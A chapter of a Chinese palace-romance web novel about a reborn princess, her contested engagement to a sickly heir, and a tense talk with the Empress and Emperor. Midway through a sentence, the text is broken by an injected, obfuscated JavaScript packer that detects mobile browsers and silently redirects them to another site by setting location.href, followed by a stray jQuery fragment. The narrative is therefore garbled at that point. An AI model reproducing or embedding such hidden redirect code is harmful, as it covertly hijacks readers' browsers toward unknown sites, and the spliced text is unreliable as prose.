在叶兰韵的注视下,宴元修终于抬眸看向了她。
目光交凝,不知是夜色的浸染,还是灯火的映衬,宴元修面上无半分血色,苍白的近乎透明,似乎稍一碰就要碎了。
沉沉寂气,在殿内弥漫,压的人要喘不过气。宴元修的沉默,让叶兰韵的一颗心逐渐冰凉,泪水悄无声息的蓄满了整个眼眶。
那份倔强,终究让宴元修败下阵来。由心底升起的不忍,蔓延至全身,他再也压不住情绪,剧烈地咳嗽了起来。
撕心裂肺的咳嗽声在殿内回响,一口鲜血染红了丝帕。
“世子?”
“哥哥?”
站在宴元修身后的子安,以及坐在一旁的宴元恬,皆看到了那抹血色,两人齐齐惊呼出声。
叶兰韵心下担忧,下意识地就想要过去看看他如何了。抬起脚,意识到两人如今的处境,迈出去的那一步又硬生生收了回来。
“李公公,快去叫御医,”皇上吩咐出声。
“不用了,皇上,无碍的。”宴元修握紧帕子,还残留一丝血迹的唇瓣,紧紧抿起。
他恭敬道:“今晚本是皇后寿宴,是元修言语有失,惹得公主生气,破坏了气氛,打扰了皇上皇后的雅兴,元修有罪。”
“哪里的话,都是本宫平日里太过娇惯韵儿了,才让她这般口无遮拦,”皇后皱眉瞥了眼叶兰韵,柔声对宴元修道:“你这孩子,身子若是不舒服,就赶紧回去歇着吧,别强撑着了。”
“多谢皇上皇后体谅,那元修就先退下了。”
望着宴元恬和子安一左一右搀扶宴元修离开的背影,叶兰韵拼命地忍着泪水。
*
翌日一早,叶兰韵还未起,皇后就派周嬷嬷来玉兰殿传话了,让公主前去凤仪宫陪皇后一起用午膳。
周嬷嬷一走,叶兰韵就轻声唤道:“碧青?”
碧青快步入内,挂起床幔,看着自家公主红润的脸色,心中欢喜:“昨夜公主没再做噩梦吧?”
叶兰韵点头。
宴元修出现了,她的心终于踏实了。即便昨夜晚宴两人闹得并不愉快,但她依旧一夜好眠。
蒙上天眷顾,一切得以重来。
即使如今他的眼中没了她又如何?只要他在,她便能安心!
前世,他爱她入骨,这一世,她依旧能走进他的心里。且,绝不会再重蹈覆辙。
凤仪宫。
身着淡粉色宫装的叶兰韵,站在宫门前,望着凤仪宫三个大字,有些出神。
自三年前落水,她开始梦魇起,母后就免了她每日晨起定省的规矩。而她也确实精神状态不佳,来凤仪宫的次数日渐减少。
“公主快些进来吧,今日风大,小心着凉,”周嬷嬷听了宫女的禀报,满脸笑地迎了出来。
随着叶兰韵踏进宫院,周嬷嬷说道:“太子爷今日习射摔了一跤,可让娘娘担心坏了,刚唤御医询问过情况。”
“无大碍吧?”叶兰韵问。
周嬷嬷道:“受了些皮外伤,不要紧。倒是娘娘被折腾一番,方才还说头疼呢。”
叶兰韵心下了然。进了主殿,皇后正靠在引枕上闭目养神。
她静悄悄走到皇后身侧,抬手轻覆在其太阳穴上,指尖缓缓按揉。
“来了?”皇后慵懒出声,双眸缓缓睁开。
叶兰韵道:“让母后费心了。”
皇后叹息一声:“还真是为你们姐弟来操碎了心。”
叶兰韵甜甜一笑:“我的好母后,韵儿真不是来请罪了么。”
皇后嗔叶兰韵一眼,握住她的手,坐直了身子:“昨晚怎么回事?往日你没见过宴元修吧?怎的还将那婚约放在心上了?”
叶兰韵道:“晚宴前,在祖母那里见过一面,宴小世子长的属实好看。”
“好看的公子哥多了,那秦钰长得也好看呢,身子骨还康健,你们又自小相识,”皇后笑道:“比起宴元修,母后更看好你和秦钰。”
“但韵儿不喜欢秦钰,”叶兰韵道。
皇后摸了摸叶兰韵耳边的碎发:“宴元修到底身子骨羸弱,嫁与他,万一他真的时日不多,母后的韵儿,难不成要年纪轻轻就独守空房吗?那秦钰贵为大越皇子,又是你皇姑母亲自养大,若无意外,大越那个位置当是他的。”
叶兰韵正色道:“是他的又如何?韵儿贵为西陵的嫡公主,金枝玉叶,锦衣玉食,已经尊荣无双了,为何还非要谋大越的皇后之位?”
“就如皇姑母,母后真觉得她幸福吗?”
“这么多年来,皇姑母为何一直没有子嗣?是真的无法生育,还是大越帝王压根就不想让流有西陵皇室血脉的姑母诞下大越的皇太子?”
“皇祖母无事就拿着姑母送她的玉葫芦把玩,她有多想念她的女儿。皇姑母贵为大越的皇后,她能回来吗?更甚者这一辈子都没有再回故土的机会。终日被圈在一个华丽的宫殿内,殚精竭虑,机关算尽,谋取来一切也不过是为他人子嗣做嫁衣。难道姑母就真的开心吗?”
“我想即便嫁了人,也能陪在父皇母后的身边,想你们了随时都能看到,受委屈了还有你们能给撑腰。”
“那宴元修身子羸弱又如何,即便他时日不多,女儿有父皇母后的宠爱,日子还能过的差了?逍遥自在,无拘无束,享尽人间荣华,那才是神仙过的日子。”
“若真需要一位公主嫁去大越,父皇的女儿又不止我一个,就让心悦秦钰的嫁吧。韵儿不要做第二个皇姑母!”
“你真是被娇惯的无法无天了,竟敢如此编排你皇姑母,”随着一道明黄身影闪过,皇上怒意十足的声音传入耳内。
叶兰韵‘噗通’一声跪到了地上:“韵儿有罪,还请父皇责罚。”
“皇上息怒。韵儿只是心直口快,想着与臣妾说些贴己话,才会这般毫无顾忌。都是臣妾管教无方,”皇后紧跟着认错。
皇上坐到了主位上,眯着眼瞧着跪在下首的叶兰韵,好半响才道:“利弊得失,韵儿分析的头头是道。朕竟不如朕的好女儿何时对政事也这般敏锐了?”
叶兰韵思绪凝了一瞬,壮着胆子道:“多谢父皇夸奖。父皇身负经纬治世之才,女儿承父皇血脉,日日耳濡目染,自是不差的。”
“你……”皇上被气的一噎,指着叶兰韵,忽地又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169041|196803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑了:“惯会狡辩。行了,起来吧,下次再敢这般胡言乱语,绝不轻饶。”
“至于亲事,父皇母后还想多留你两年,暂且不急。”
“谢父皇,”叶兰韵磕了个响头,眉眼含笑地站起了身。其实她蜷缩着袖中的手心里全是汗。
经此一事,昨夜宴会上她围堵他父皇的那番话,以及今日这番激进言辞,在她父皇这儿,算是翻篇了。
叶兰韵心下松了口气。
这一世,荣王府虽依旧功高震主,但唯一的子嗣宴元修身子羸弱,又不像前世那般惊才艳艳,受天下文人追崇。他父皇对荣王府宴家的芥蒂应该不如前世那般深。
而且这些年她父皇母后对她的宠爱是实打实的。所以她在赌,赌父皇母后对她这个女儿的怜爱之心。
本欲来皇后这儿用午膳的皇上,被叶兰韵这一闹腾,也没了心思,稍坐了会儿就离去了。
皇上前脚一走,后脚满殿的宫人都跪了下来。
“未能及时通禀圣驾到来,是奴婢的失责,还请皇后责罚,”皇后的贴身女侍秋荔伏地认罪。
皇后摆了摆手:“不怪你,皇上都到跟前了,他有意听本宫和韵儿的叙话,不让通禀,你们能有什么法子。不过前院的宫人着实松懈了些,是该管教管教了。”
“是,娘娘,”秋荔起身退下。
叶兰韵同皇后一起用了午膳,伺候皇后歇了午觉后,方才离去。
出了凤仪宫,穿过景华门,望着长长的宫道,叶兰韵脚下一顿。
“公主?”碧青疑惑。
“去文渊殿,”叶兰韵转了方向,往东面走去。
文渊殿,乃太子叶轻然的住处。自去年叶轻然搬离凤仪宫,独自居住也有一年了。叶兰韵与叶轻然姐弟二人虽亲近,但她去文渊殿的次数屈指可数。
此刻,叶轻然小憩刚醒来。听禀报叶兰韵来了,很是惊讶。忙收拾利落,迎了出去。
“姐姐怎么这个时候来了?”七岁稚郎,眉目周正,身姿端稳,已见几分储君的矜贵沉敛之态。
叶兰韵道:“听母后说你今日骑射受了伤,姐姐不放心,过来瞧瞧。”
叶轻然听闻姐姐关切,不由得红了脸:“是弟弟骑射不精,已至落了马,好在只是些轻微擦伤,姐姐不用挂怀。”
叶兰韵看着一副小大人模样的叶轻然,想着前世他与母后皆沦为了阶下囚,心下难受,眼圈不禁泛了红。她揉了揉叶轻然的脑袋:“以后万事都要留心安全,护好自己。”
叶轻染重重点头。
“走,姐姐有好些日子没来看你了,带姐姐去看看你的字帖可有长进,”叶兰韵拉着叶轻染,两人去了书房。
看叶兰韵认真地欣赏着他的字画,叶轻然似想到了什么,退下了左右,想张口,又有些犹豫地闭上了。
叶兰韵挑眉:“有话不妨直说。”
叶轻然道:“姐姐可是心悦于宴家世子?”
叶轻然有此一问,想来也是因着昨夜宴会上发生的事,叶兰韵笑道:“姐姐怎能容忍被人退婚。”
“那姐姐可知,父皇并不喜荣王府宴家,”叶轻然道。